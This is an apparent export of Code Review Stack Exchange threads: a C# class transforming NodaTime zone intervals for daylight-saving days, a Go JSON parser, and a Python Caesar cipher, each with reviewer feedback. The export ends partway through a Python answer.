"body": "Sorry, didn't have time in original comment for more suggestions so I've had to split it up.\nI also think you're doing too much logic in the closure for the submit button. You might want to consider having it just do the validation that you've input something, and then hand off to another function to hit the API and handle the responses. Named functions are supposed to have a single clear purpose and this will help you spot when you're doing too many things in a single function."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T13:46:03.877",
"Id": "236782",
"Score": "1",
"Tags": [
"javascript"
],
"Title": "Chatbot that lets users order coffee"
}
|
236782
|
<p>Version 2 may be found <a href="https://codereview.stackexchange.com/questions/237100/transforming-nodatime-zoneintervals-version-2">here</a>.</p>
<p>The company I work for has customers around the globe. I work with a time-series database that contains manufacturing process data for each customer site. I was asked to provide daily averages for the past 2 years. Requesting averages from the 3rd party time-series database is easy. The difficulty is that each request needs to be issued specific for each site's time zone.</p>
<p>NodaTime's ZoneInterval provides me <em>some</em> information, but I need to transform it for my 3rd party database. The calls to the time series database expects start and end times in UTC, and you may ask for the summaries to be returned in evenly spaced TimeSpan intervals - think hours here not a "day". This is easy enough for most days during the year except for any DST transition days where the day length is not 24 hours.</p>
<p>Here is the <strong>ZonedDateRange.cs</strong> class used to perform the custom transformation:</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Linq;
using NodaTime;
using NodaTime.TimeZones;
namespace NodaTime_Zoned_Ranges
{
public class ZonedDateRange
{
public enum DayState { Standard, DST, SpringForward, FallBack }
public DateTimeZone Zone { get; private set; }
public DayState State { get; private set; }
public LocalDate StartDay { get; private set; }
public LocalDate EndDay { get; private set; }
public ZonedDateTime ZoneStart => Zone.AtStartOfDay(StartDay);
public ZonedDateTime ZoneEnd => Zone.AtStartOfDay(EndDay.PlusDays(1));
public DateTime UtcStart => ZoneStart.ToDateTimeUtc();
public DateTime UtcEnd => ZoneEnd.ToDateTimeUtc();
public double HoursPerDay => IsTransitionDay ? (UtcEnd - UtcStart).TotalHours : 24;
public int DaysInRange => IsTransitionDay ? 1 : (int)((ZoneStart - ZoneEnd).TotalDays);
// -1 = Falling back DAY, +1 Spring Forward DAY, 0 means no transition occuring BUT the day still could be DST.
public int Transition => (State == DayState.FallBack) ? Backward : (State == DayState.SpringForward) ? Forward : None;
public bool IsTransitionDay => (Transition != None);
public const int Backward = -1;
public const int Forward = 1;
public const int None = 0;
// Private constructor forces using static factory.
private ZonedDateRange() { }
// A list should be fairly small. Consider U.S. Central Time for an entire calendar year. There will only be 5 items in the list.
// 1) CST from Jan 1 to the day before Spring forward.
// 2) Spring Forward transition day (one day is both start and end)
// 3) CDT from day after Spring Forward and day before Fall Back.
// 4) Fall Back transition day (again, only 1 day in range)
// 5) CST after Fall Back day
// The most important thing is that all days in a range will have the same length.
// That way you can safely average in whatever that length is.
public static IEnumerable<ZonedDateRange> GenerateRanges(DateTimeZone zone, Instant anchorInstant, int days)
{
if (zone == null)
{
throw new ArgumentNullException(nameof(zone));
}
var anchorDay = anchorInstant.InZone(zone).Date;
// If days is negative, anchorInstant is the endDay and we go back in time to get the start day.
// Otherwise, anchorDay is the anchorInstant and we go forward in time to get the end day.
var inclusiveStartDay = (days < 0) ? anchorDay.PlusDays(days) : anchorDay;
var inclusiveEndDay = (days < 0) ? anchorDay : anchorDay.PlusDays(days);
return GenerateRanges(zone, inclusiveStartDay, inclusiveEndDay);
}
public static IEnumerable<ZonedDateRange> GenerateRanges(DateTimeZone zone, LocalDate inclusiveStartDay, LocalDate inclusiveEndDay)
{
if (zone == null)
{
throw new ArgumentNullException(nameof(zone));
}
// Small adjustment to add an extra day to the inclusive end day.
// When working with LocalDate(s) that are inclusive, we generally start at the start of the start day
// but want to end at the END of the end day, which is really the start of the next day following the
// end day.
var exclusiveEndDay = inclusiveEndDay.PlusDays(1);
var startInstant = inclusiveStartDay.AtStartOfDayInZone(zone).ToInstant();
var endInstant = exclusiveEndDay.AtStartOfDayInZone(zone).ToInstant();
// Just in case the start or end day occurs on transition day, we pad each endpoint with a few days.
// We will later prune away this padding.
var pad = Duration.FromDays(5);
var padStartInstant = startInstant.Minus(pad);
var padEndInstant = endInstant.Plus(pad);
var intervals = zone.GetZoneIntervals(padStartInstant, padEndInstant).ToList();
// Take care of easy cases.
// Check count returned instead of custom SupportsDaylightSavingsTime method.
// E.g. Argentina supported DST in the past, but since 2010 has been on Standard time only.
if (intervals.Count == 1)
{
yield return Create(zone, inclusiveStartDay, exclusiveEndDay, DayState.Standard);
yield break;
}
for (var index = 0; index < intervals.Count; index++)
{
var interval = ClampInterval(intervals[index], padStartInstant, padEndInstant);
// Chop off the Start and End dates, since those are transition days.
// That is move Start ahead 1 day, and move End back 1 day.
var currStartDate = interval.Start.InZone(zone).Date.PlusDays(1);
var currEndDate = interval.End.InZone(zone).Date.PlusDays(-1);
var endLength = zone.HoursInDay(interval.End);
var endState = DayState.Standard;
if (endLength > NodaConstants.HoursPerDay)
{
endState = DayState.FallBack;
}
else if (endLength < NodaConstants.HoursPerDay)
{
endState = DayState.SpringForward;
}
var startState = (endState == DayState.FallBack) ? DayState.DST : DayState.Standard;
var range = Create(zone, currStartDate, currEndDate, startState);
AdjustEndPoints(range, inclusiveStartDay, exclusiveEndDay);
if (IsOkayToOutput(range))
{
yield return range;
}
var endTransitionDate = interval.End.InZone(zone).Date;
range = Create(zone, endTransitionDate, endTransitionDate, endState);
AdjustEndPoints(range, endTransitionDate, endTransitionDate);
if (IsOkayToOutput(range))
{
yield return range;
}
}
}
private static void AdjustEndPoints(ZonedDateRange range, LocalDate startDay, LocalDate endDay)
{
if (range.StartDay < startDay)
{
range.StartDay = startDay;
}
if (range.EndDay > endDay)
{
range.EndDay = endDay;
}
}
private static bool IsOkayToOutput(ZonedDateRange range) => (range.UtcEnd > range.UtcStart);
private static ZoneInterval ClampInterval(ZoneInterval interval, Instant start, Instant end)
{
var outstart = start;
var outend = end;
if (interval.HasStart && outstart < interval.Start)
{
outstart = interval.Start;
}
if (interval.HasEnd && interval.End < outend)
{
outend = interval.End;
}
return new ZoneInterval(interval.Name, outstart, outend, interval.WallOffset, interval.Savings);
}
private static ZonedDateRange Create(DateTimeZone zone, LocalDate startDate, LocalDate endDate, DayState state)
{
var range = new ZonedDateRange
{
Zone = zone,
StartDay = startDate,
EndDay = endDate,
State = state
};
return range;
}
// This alters the StartDate and UtcStartTime so you may want to perform this on a Clone().
internal void AdjustStartDateForward(LocalDate adjustedStartDate)
{
if (adjustedStartDate < StartDay || adjustedStartDate > EndDay)
{
throw new Exception($"The {nameof(adjustedStartDate)} must be exclusively within the current StartDate and EndDate.");
}
AdjustDates(adjustedStartDate, EndDay);
}
// This alters the EndDate and UtcEndTime so you may want to perform this on a Clone().
internal void AdjustEndDateBackward(LocalDate adjustedEndDate)
{
if (adjustedEndDate < StartDay || adjustedEndDate > EndDay)
{
throw new Exception($"The {nameof(adjustedEndDate)} must be exclusively within the current StartDate and EndDate.");
}
AdjustDates(StartDay, adjustedEndDate);
}
private void AdjustDates(LocalDate adjustedStart, LocalDate adjustedEnd)
{
StartDay = adjustedStart;
EndDay = adjustedEnd;
}
public ZonedDateRange Clone()
{
var clone = new ZonedDateRange();
clone.Zone = Zone;
clone.State = State;
clone.StartDay = StartDay;
clone.EndDay = EndDay;
return clone;
}
}
}
</code></pre>
<p>Here is the <strong>Extensions.cs</strong> class for a few convenient extensions:</p>
<pre><code>using System;
using NodaTime;
namespace NodaTime_Zoned_Ranges
{
public static class Extensions
{
// For DST Transition days, hours will be less than or greater than 24.
public static double HoursInDay(this DateTimeZone zone, Instant instant)
{
if (zone == null)
{
return NodaConstants.HoursPerDay;
}
var day = instant.InZone(zone).LocalDateTime.Date;
var bod = zone.AtStartOfDay(day);
var eod = zone.AtStartOfDay(day.PlusDays(1));
return (eod.ToInstant() - bod.ToInstant()).TotalHours;
}
/// <summary>
/// Preferred format of ISO 8601 time string.
/// Unlike Round Trip format specifier of "o", this format will suppress decimal seconds
/// if the input time does not have subseconds.
/// </summary>
public const string DateTimeExtendedIsoFormat = "yyyy-MM-ddTHH:mm:ss.FFFFFFFK";
/// <summary>
/// Returns an ISO-8601 compliant time string.
/// If the input Kind is Local and TimeZoneInfo.Local is not "UTC", then the output string will contain a time zone offset.
/// Unlike ToString("o"), if the input time does not contain subseconds, the output string will omit subseconds.
/// </summary>
/// <param name="time">DateTime</param>
/// <returns>String</returns>
public static string ToIsoString(this DateTime time)
{
// TimeZoneInfo MUST use Equals method and not == operator.
// Equals compares values where == compares object references.
if (time.Kind == DateTimeKind.Local && TimeZoneInfo.Local.Equals(TimeZoneInfo.Utc))
{
// Don't use time zone offset if Local time is UTC
time = DateTime.SpecifyKind(time, DateTimeKind.Utc);
}
return time.ToString(DateTimeExtendedIsoFormat);
}
}
}
</code></pre>
<p>Finally, here is <strong>Program.cs</strong> for some quick and dirty testing:</p>
<pre><code>using System;
using NodaTime;
namespace NodaTime_Zoned_Ranges
{
class Program
{
static void Main(string[] args)
{
var zoneIds = new string[] { "Central Brazilian Standard Time", "Singapore Standard Time" };
var startDay = new LocalDate(2018, 1, 1);
var endDay = new LocalDate(2019, 12, 31);
foreach (var zoneId in zoneIds)
{
var zone = DateTimeZoneProviders.Bcl.GetZoneOrNull(zoneId);
ZoneTest(zone, startDay, endDay);
}
Console.WriteLine("\n\nPress ENTER key");
Console.ReadLine();
}
private static void ZoneTest(DateTimeZone zone, LocalDate startDay, LocalDate endDay)
{
Console.WriteLine($"\n\n*** TEST FOR ZONE: {zone.Id} , Start:{startDay} , End:{endDay}\n");
var startInstant = startDay.AtStartOfDayInZone(zone).ToInstant();
var endInstant = endDay.PlusDays(1).AtStartOfDayInZone(zone).ToInstant();
Console.WriteLine("NodaTime DateTimeZone.GetZoneIntervals");
var intervals = zone.GetZoneIntervals(startInstant, endInstant);
var i = 0;
foreach (var interval in intervals)
{
Console.WriteLine($" [{i++}]: {interval}");
}
Console.WriteLine("\nCustom ZonedDateRange");
i = 0;
var ranges = ZonedDateRange.GenerateRanges(zone, startDay, endDay);
foreach (var range in ranges)
{
Console.WriteLine($" [{i++}]: {range.State,13}: [{range.UtcStart.ToIsoString()}, {range.UtcEnd.ToIsoString()}] HoursPerDay: {range.HoursPerDay}");
}
}
}
}
</code></pre>
<p>Here is sample <strong>Console Window output</strong>:</p>
<pre><code>*** TEST FOR ZONE: Central Brazilian Standard Time , Start:Monday, January 1, 2018 , End:Tuesday, December 31, 2019
NodaTime DateTimeZone.GetZoneIntervals
[0]: Central Brazilian Daylight Time: [2017-10-15T03:59:59Z, 2018-02-18T02:59:59Z) -03 (+01)
[1]: Central Brazilian Standard Time: [2018-02-18T02:59:59Z, 2018-11-04T03:59:59Z) -04 (+00)
[2]: Central Brazilian Daylight Time: [2018-11-04T03:59:59Z, 2019-02-17T03:00:00Z) -03 (+01)
[3]: Central Brazilian Standard Time: [2019-02-17T03:00:00Z, EndOfTime) -04 (+00)
Custom ZonedDateRange
[0]: DST: [2018-01-01T03:00:00Z, 2018-02-17T03:00:00Z] HoursPerDay: 24
[1]: FallBack: [2018-02-17T03:00:00Z, 2018-02-18T04:00:00Z] HoursPerDay: 25
[2]: Standard: [2018-02-18T04:00:00Z, 2018-11-04T03:59:59.999Z] HoursPerDay: 24
[3]: SpringForward: [2018-11-04T03:59:59.999Z, 2018-11-05T03:00:00Z] HoursPerDay: 23.0000002777778
[4]: DST: [2018-11-05T03:00:00Z, 2019-02-16T03:00:00Z] HoursPerDay: 24
[5]: FallBack: [2019-02-16T03:00:00Z, 2019-02-17T04:00:00Z] HoursPerDay: 25
[6]: Standard: [2019-02-17T04:00:00Z, 2020-01-02T04:00:00Z] HoursPerDay: 24
[7]: Standard: [2020-01-06T04:00:00Z, 2020-01-07T04:00:00Z] HoursPerDay: 24
*** TEST FOR ZONE: Singapore Standard Time , Start:Monday, January 1, 2018 , End:Tuesday, December 31, 2019
NodaTime DateTimeZone.GetZoneIntervals
[0]: Malay Peninsula Standard Time: [StartOfTime, EndOfTime) +08 (+00)
Custom ZonedDateRange
[0]: Standard: [2017-12-31T16:00:00Z, 2020-01-01T16:00:00Z] HoursPerDay: 24
Press ENTER key
</code></pre>
<p>Based on the output, I hope you can see why I need to perform the transform. For Brazil, I can make 8 specific summary calls to my 3rd party database, each with differing UTC start and end times, as well as day length. For Singapore, you can see I can get very specific UTC times from an interval that has no start or end time.</p>
<p>I have no specific question other than the always implied question of "Please review my code for readability and performance."</p>
|
[] |
[
{
"body": "<p>Aside: the zone intervals reported by Noda Time look somewhat broken to me; that may be due to them coming from the Windows time zone database. I'll need to look into that transitions don't happen on \"the second before the start of the hour\".</p>\n\n<p>I haven't had time to look at this completely, but a few minor suggestions:</p>\n\n<h1>Naming</h1>\n\n<p>You're using \"day\" a lot where I'd use \"date\". I find that less ambiguous, because a \"day\" can mean both a period and a date. I've adjusted the code below assuming that.</p>\n\n<h1>GenerateRanges</h1>\n\n<pre><code>var inclusiveStartDate = (days < 0) ? anchorDate.PlusDays(days) : anchorDate;\nvar inclusiveEndDate = (days < 0) ? anchorDate : anchorDate.PlusDays(days);\n</code></pre>\n\n<p>That would be simpler IMO as by adding <code>days</code> unconditionally and then just taking the min/max:</p>\n\n<pre><code>var anchorPlusDays = anchorDate.PlusDays(days);\nvar inclusiveStartDate = LocalDate.Min(anchorDate, anchorPlusDays);\nvar inclusiveEndDate = LocalDate.Max(anchorDate, anchorPlusDays);\n</code></pre>\n\n<h1>Extensions</h1>\n\n<p>I'd personally use separate extension classes for code using NodaTime types, and code using BCL types.</p>\n\n<h1>AdjustEndpoints</h1>\n\n<p>I'd probably try to make your <code>ZonedDateRange</code> completely immutable (removing the need for <code>Clone</code>), and instead have <code>WithStartDate</code>, <code>WithEndDate</code> methods, then make <code>AdjustEndpoints</code> something like this:</p>\n\n<pre><code>private static ZonedDateRange AdjustEndPoints(\n ZonedDateRange range, LocalDate startDate, LocalDate endDate) =>\n range.WithStartDate(LocalDate.Max(range.StartDate, startDate))\n .WithEndDate(LocalDate.Min(range.EndDate, endDate));\n</code></pre>\n\n<p>(The <code>WithStartDate</code> and <code>WithEndDate</code> methods can return \"this\" if the argument is equal to the current value.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-09T13:35:32.487",
"Id": "464445",
"Score": "0",
"body": "Thanks for the review, Jon. `Clone` is very important to me because I may have tens of thousands of instrument tags at a given plant site. Though all have the same time zone, each tag may have recorded data with varying timestamps, thus I have to customize each tag's call with it's available start and end UTC time. `GenerateRanges` feels a bit sluggish, and I don't want to recreate it thousands of times."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-11T20:23:32.463",
"Id": "464821",
"Score": "0",
"body": "Version 2 is now immutable with better naming. https://codereview.stackexchange.com/questions/237100/transforming-nodatime-zoneintervals-version-2"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T10:37:43.443",
"Id": "236882",
"ParentId": "236787",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "236882",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:18:47.690",
"Id": "236787",
"Score": "4",
"Tags": [
"c#",
"datetime",
"nodatime"
],
"Title": "Transforming NodaTime ZoneIntervals"
}
|
236787
|
<p>Below is a JSON parser written in Go. It's just a task I set myself in order to learn Go, which is also the rationale for reinventing this wheel. At the moment, it's not 100% complete but it can process quite some input already and also provide diagnostics on invalid inputs.</p>
<p>My questions concerning this code are:</p>
<ul>
<li>I have a strong background in C++ and PHP, so I'm concerned whether I took some best practices from there and used them here, which I shouldn't.</li>
<li>Similarly, I wonder if some of the code is non-idiomatic Go code which could be improved.</li>
<li>Another thing is correctness, in particular the correct use of Go features. I'm not so much interested in whether something is faulty concerning the parsing of JSON, I already know that it's not complete.</li>
<li>One specific aspect I'm doubtful about is the use of channels to carry errors. It seemed like a smart idea to me, but I don't rule out that it's stupid after all.</li>
</ul>
<p>In any case, I welcome suggestions how to improve.</p>
<pre><code>package main
import (
"errors"
"fmt"
"os"
)
const (
tNone = iota
tRoot
tComma
tColon
tObjectStart
tObjectEnd
tArrayStart
tArrayEnd
tString
tNull
tNumber
tBool
)
// ErrInvalidToken signals that something could not be converted to a token.
var ErrInvalidToken = errors.New("invalid token")
// ErrInvalidStructure signals that a valid token was encountered in the wrong place.
// In particular, that means closing tokens (")", "}") outside the scope of the
// according aggregate value type. Further, it means commas outside of aggregate types
// and colons anywhere but as a separator between key and value of an object value.
var ErrInvalidStructure = errors.New("invalid structure")
// JSONElement is an element of the JSON syntax tree.
type JSONElement struct {
tpe int // type according to the t* constants above
offset int // offset of the element within the input data
parent int // index of the parent element in the output data
}
func findMatchingQuotes(data []byte, cur, length int) (int, error) {
const (
openingQuotes = iota
character
backslashEscaped
)
res := 0
state := openingQuotes
for {
// get next glyph
if cur+res == length {
// no more data
return 0, ErrInvalidToken
}
c := data[cur+res]
switch state {
case openingQuotes:
switch c {
case '"':
// consume quotes
res++
state = character
default:
return 0, ErrInvalidToken
}
case character:
switch {
case c == '\\':
// consume backslash
res++
state = backslashEscaped
case c == '"':
// consume closing quote and finish
res++
return res, nil
case c < 32:
// control byte
return res, ErrInvalidToken
default:
// consume character
res++
state = character
}
case backslashEscaped:
switch c {
case '"', '\\', '/', 'b', 'f', 'n', 'r', 't':
// consume character unseen
res++
state = character
case 'u':
// consume Unicode start marker
res++
// check next
for i := 0; i != 4; i++ {
// get next glyph
if cur+res == length {
// no more data
return 0, ErrInvalidToken
}
switch data[cur+res] {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'A', 'B', 'C', 'D', 'E', 'F':
// consume hex digit
res++
default:
// invalid Unicode
return 0, ErrInvalidToken
}
}
state = character
default:
return 0, ErrInvalidToken
}
}
}
}
func findEndOfNumber(data []byte, cur, length int) (int, error) {
const (
optionalSign = iota
nonfractionStart
nonfractionContinued
radixSeparator
fractionStart
fractionContinued
exponentSeparator
exponentSign
exponentStart
exponentContinued
)
res := 0
state := optionalSign
loop:
for {
// get next glyph
if cur+res == length {
break loop
}
c := data[cur+res]
switch state {
case optionalSign:
// if it's a minus sign, skip it
if c == '-' {
res++
}
state = nonfractionStart
case nonfractionStart:
switch c {
case '0':
// consume non-fractional digit
res++
state = radixSeparator
case '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume non-fractional digit
res++
state = nonfractionContinued
default:
break loop
}
case nonfractionContinued:
switch c {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume non-fractional digits
res++
state = nonfractionContinued
default:
state = radixSeparator
}
case radixSeparator:
switch c {
case '.':
// consume radix separator
res++
state = fractionStart
default:
state = exponentSeparator
}
case fractionStart:
switch c {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume fractional digits
res++
state = nonfractionContinued
default:
break loop
}
case fractionContinued:
switch c {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume fractional digits
res++
default:
state = exponentSeparator
}
case exponentSeparator:
switch c {
case 'e', 'E':
// consume exponent separator
res++
state = exponentSign
default:
break loop
}
case exponentSign:
switch c {
case '+', '-':
// consume exponent sign
res++
state = exponentStart
default:
state = exponentStart
}
case exponentStart:
// Note: It seems that "1.e01" is valid, although "01.2" isn't, hence the
// numbers of the exponent are not parsed like the nonfractional digits.
switch c {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume exponent digit
res++
state = exponentContinued
default:
break loop
}
case exponentContinued:
switch c {
case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
// consume exponent digit
res++
state = exponentContinued
default:
break loop
}
}
}
// check final state, there must not be incomplete parts
switch state {
case optionalSign, nonfractionStart, fractionStart, exponentSign, exponentStart:
// incomplete number token
return 0, ErrInvalidToken
case nonfractionContinued, radixSeparator, fractionContinued, exponentSeparator, exponentContinued:
return res, nil
default:
return 0, errors.New("invalid state parsing number")
}
}
func parseJSON(data []byte) ([]JSONElement, error) {
// create a channel to receive errors from
exc := make(chan error)
// start parsing in a goroutine which emits the resulting tokens to this channel
tokens := make(chan JSONElement)
go func() {
// close error channel on exit to terminate waiting loop
defer close(exc)
length := len(data)
cur := 0
for cur != length {
switch data[cur] {
case ' ', '\n', '\r', '\t':
fmt.Println(cur, "whitespace")
// skip whitespace
cur++
case '{':
fmt.Println(cur, "opening braces")
tokens <- JSONElement{tpe: tObjectStart, offset: cur}
cur++
case '}':
fmt.Println(cur, "closing braces")
tokens <- JSONElement{tpe: tObjectEnd, offset: cur}
cur++
case '[':
fmt.Println(cur, "opening brackets")
tokens <- JSONElement{tpe: tArrayStart, offset: cur}
cur++
case ']':
fmt.Println(cur, "closing brackets")
tokens <- JSONElement{tpe: tArrayEnd, offset: cur}
cur++
case ':':
fmt.Println(cur, "colon")
tokens <- JSONElement{tpe: tColon, offset: cur}
cur++
case ',':
fmt.Println(cur, "comma")
tokens <- JSONElement{tpe: tComma, offset: cur}
cur++
case '"':
fmt.Println(cur, "string")
size, err := findMatchingQuotes(data, cur, length)
if err != nil {
exc <- err
return
}
tokens <- JSONElement{tpe: tString, offset: cur}
cur += size
case 'n':
fmt.Println(cur, "null")
if cur+4 > length {
exc <- ErrInvalidToken
return
}
if (data[cur+1] != 'u') || (data[cur+2] != 'l') || (data[cur+3] != 'l') {
exc <- ErrInvalidToken
}
tokens <- JSONElement{tpe: tNull, offset: cur}
cur += 4
case 't':
fmt.Println(cur, "true")
if cur+4 > length {
exc <- ErrInvalidToken
return
}
if (data[cur+1] != 'r') || (data[cur+2] != 'u') || (data[cur+3] != 'e') {
exc <- ErrInvalidToken
}
tokens <- JSONElement{tpe: tBool, offset: cur}
cur += 4
case 'f':
fmt.Println(cur, "false")
if cur+5 > length {
exc <- ErrInvalidToken
return
}
if (data[cur+1] != 'a') || (data[cur+2] != 'l') || (data[cur+3] != 's') || (data[cur+4] != 'e') {
exc <- ErrInvalidToken
}
tokens <- JSONElement{tpe: tBool, offset: cur}
cur += 5
case '-', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
fmt.Println(cur, "number")
size, err := findEndOfNumber(data, cur, length)
if err != nil {
exc <- err
return
}
tokens <- JSONElement{tpe: tNumber, offset: cur}
cur += size
default:
fmt.Println(cur, "unexpected")
exc <- ErrInvalidToken
return
}
}
}()
res := make([]JSONElement, 0, 10)
res = append(res, JSONElement{tpe: tRoot})
context := 0
for {
select {
case err := <-exc:
// Note that "err" can be nil, which happens when the channel
// is closed and it just means that the goroutine finished.
fmt.Println("received error", err)
return res, err
case elem := <-tokens:
fmt.Println("received element", elem)
// determine context changes
switch elem.tpe {
case tArrayStart, tObjectStart:
// remember parent index for aggregate value
elem.parent = context
context = len(res)
case tArrayEnd:
if res[context].tpe != tArrayStart {
// current context must be an array
return nil, ErrInvalidStructure
}
// validate all intermediate tokens
const (
start = iota // initial state, next token must be a value if present
comma // next token must be a comma if present
next // next token must be present and not a comma
)
state := start
for i := context + 1; i != len(res); i++ {
t := res[i]
// if this is not a direct child, ignore it
if t.parent != context {
continue
}
// if this is the end of a nested structure, ignore it
if t.tpe == tObjectEnd || t.tpe == tArrayEnd {
continue
}
switch t.tpe {
case tObjectStart, tArrayStart, tBool, tNumber, tNull, tString:
if state == comma {
// expected a comma as separator, not a value
return nil, ErrInvalidStructure
}
state = comma
case tComma:
if state != comma {
// expected a value, not a comma as separator
return nil, ErrInvalidStructure
}
state = next
default:
// unexpected token as array element
return nil, ErrInvalidStructure
}
}
if state == next {
// brackets are not empty but don't end in a value
return nil, ErrInvalidStructure
}
context = res[context].parent
elem.parent = context
case tObjectEnd:
if res[context].tpe != tObjectStart {
// current context must be an object
return nil, ErrInvalidStructure
}
// validate all intermediate tokens
const (
start = iota // initial state, next token must be a string if present
colon // next token must be present and a colon
value // next token must be present and a value
comma // next token must be a comma if present
next // next token must be present and be a string
)
state := start
for i := context + 1; i != len(res); i++ {
t := res[i]
// if this is not a direct child, ignore it
if t.parent != context {
continue
}
// if this is the end of a nested structure, ignore it
if t.tpe == tObjectEnd || t.tpe == tArrayEnd {
continue
}
switch state {
case start, next:
if t.tpe != tString {
// expected a string as key
return nil, ErrInvalidStructure
}
state = colon
case colon:
if t.tpe != tColon {
// expected a colon as separator
return nil, ErrInvalidStructure
}
state = value
case value:
switch t.tpe {
case tObjectStart, tArrayStart, tBool, tNumber, tNull, tString:
state = comma
default:
// expected a value
return nil, ErrInvalidStructure
}
case comma:
if t.tpe != tComma {
// expected a comma as separator
return nil, ErrInvalidStructure
}
state = next
}
}
switch state {
case colon, value, next:
// braces are not empty but don't end in a value
return nil, ErrInvalidStructure
}
context = res[context].parent
elem.parent = context
case tComma:
if res[context].tpe != tArrayStart && res[context].tpe != tObjectStart {
return nil, ErrInvalidStructure
}
elem.parent = context
case tColon:
if res[context].tpe != tObjectStart {
return nil, ErrInvalidStructure
}
elem.parent = context
default:
elem.parent = context
}
res = append(res, elem)
break
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>Your Code seems good.The error channel is a good idea.</p>\n\n<p>Personally, the only change I would suggest is to use the Generator Pattern (something like this <a href=\"https://medium.com/@thejasbabu/concurrency-patterns-golang-5c5e1bcd0833\" rel=\"nofollow noreferrer\">https://medium.com/@thejasbabu/concurrency-patterns-golang-5c5e1bcd0833</a>) in the function \"parseJSON\" it will split the function into 2 and improve readability.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-16T12:22:31.437",
"Id": "465440",
"Score": "0",
"body": "Thank you for your time! Using the generator pattern as in the inner functions makes sense. Its benefits are less though, because you need to structurally validate the whole (think matching paretheses) before you can return anything."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-12T11:48:55.340",
"Id": "237141",
"ParentId": "236788",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "237141",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:21:08.387",
"Id": "236788",
"Score": "1",
"Tags": [
"parsing",
"json",
"go"
],
"Title": "JSON-Parser written in Go"
}
|
236788
|
<p>I'd like feedback on my solution to the outlined programming challenge (medium level). I've tried it fast in any way I know how to, but, what might be a more efficient and/or pythonic solution?</p>
<blockquote>
<p>[Caesar Cipher]
Using the Python language, have the function CaesarCipher(str,num) take the
str parameter and perform a Caesar Cipher shift on it using the num parameter
as the shifting number. A Caesar Cipher works by shifting each letter in the
string N places down in the alphabet (in this case N will be num).
Punctuation, spaces, and capitalization should remain intact. For example if
the string is "Caesar Cipher" and num is 2 the output should be
"Ecguct Ekrjgt".</p>
</blockquote>
<pre><code>import doctest
import logging
import timeit
from string import ascii_lowercase, ascii_uppercase
logging.basicConfig(
level=logging.DEBUG,
format="%(asctime)s - %(levelname)s - %(message)s")
# logging.disable(logging.CRITICAL)
ALPHABET_LENGTH = 26
# Wrap alphabet letters
LOWERCASE = ascii_lowercase + ascii_lowercase
UPPERCASE = ascii_uppercase + ascii_uppercase
def encode_string(s: str, n: int) -> str:
"""Perform a Caesar Cipher shift on s leaving punctuation, spaces intact
:param s: the str on which to perform a Cipher shift
:type s: str
:param n: the number of places in the alphabet to shift the letter.
Positive for a forward shift, negative for a backwards shift
:type n: int
>>> encode_string(s="Caesar Cipher", n=2)
'Ecguct Ekrjgt'
>>> encode_string(s="Caesar Cipher", n=54)
'Ecguct Ekrjgt'
>>> encode_string(s="Aa Bb", n=0)
'Aa Bb'
>>> encode_string(s="Cc Dd", n=-28)
'Aa Bb'
"""
if n ==0:
return s
# Incase of very large n, find lowest equivalent offset
n = n % ALPHABET_LENGTH
# value of n used to index constants, equivalent to -n steps in backwards direction
if n < 0:
n = ALPHABET_LENGTH - n
new_str = ""
for c in s:
if c in LOWERCASE:
i = LOWERCASE.index(c)
encoded_char = LOWERCASE[i + n]
new_str = new_str + encoded_char
elif c in UPPERCASE:
i = UPPERCASE.index(c)
encoded_char = UPPERCASE[i + n]
new_str = new_str + encoded_char
else:
new_str = new_str + c
return new_str
if __name__ == "__main__":
doctest.testmod()
print(timeit.timeit(
"encode_string(s='Caesar Cipher', n=2)",
setup="from __main__ import encode_string, ALPHABET_LENGTH, LOWERCASE, UPPERCASE",
number=100000)
)
</code></pre>
|
[] |
[
{
"body": "<p>Generally speaking your code looks quite good from my point of view. It's nicely structured, readable and documented. Well done!</p>\n\n<p>Using <code>LOWERCASE = ascii_lowercase + ascii_lowercase</code> in conjunction with <code>n = n % ALPHABET_LENGTH</code> also seems to be a very clever way to implement the shift.</p>\n\n<p>You don't need</p>\n\n<pre><code>if n < 0:\n n = ALPHABET_LENGTH - n\n</code></pre>\n\n<p>because modulo will handle negative numbers in the same way naturally.</p>\n\n<p>Using <code>LOWERCASE.index(...)</code> to find the position of the letter in the alphabet could be optimized by using some kind of look-up table like so:</p>\n\n<pre><code>LOWERCASE_LUT = {letter: i for i, letter in enumerate(ascii_lowercase)}\nUPPERCASE_LUT = {letter: i for i, letter in enumerate(ascii_uppercase)}\n</code></pre>\n\n<p>Also appending to a string with <code>+</code> in Python is wasteful, because strings are immutable, so each time this is done, a new string will be created. What you'll often find instead is to collect the string parts in a list which is then <code>join</code>ed at the end.</p>\n\n<p>All of this leads to the following code:</p>\n\n<pre><code>def encode_string_cr(s: str, n: int) -> str:\n \"\"\"Perform a Caesar Cipher shift on s leaving punctuation, spaces intact\n\n :param s: the str on which to perform a Cipher shift\n :type s: str\n :param n: the number of places in the alphabet to shift the letter. \n Positive for a forward shift, negative for a backwards shift\n :type n: int\n >>> encode_string(s=\"Caesar Cipher\", n=2)\n 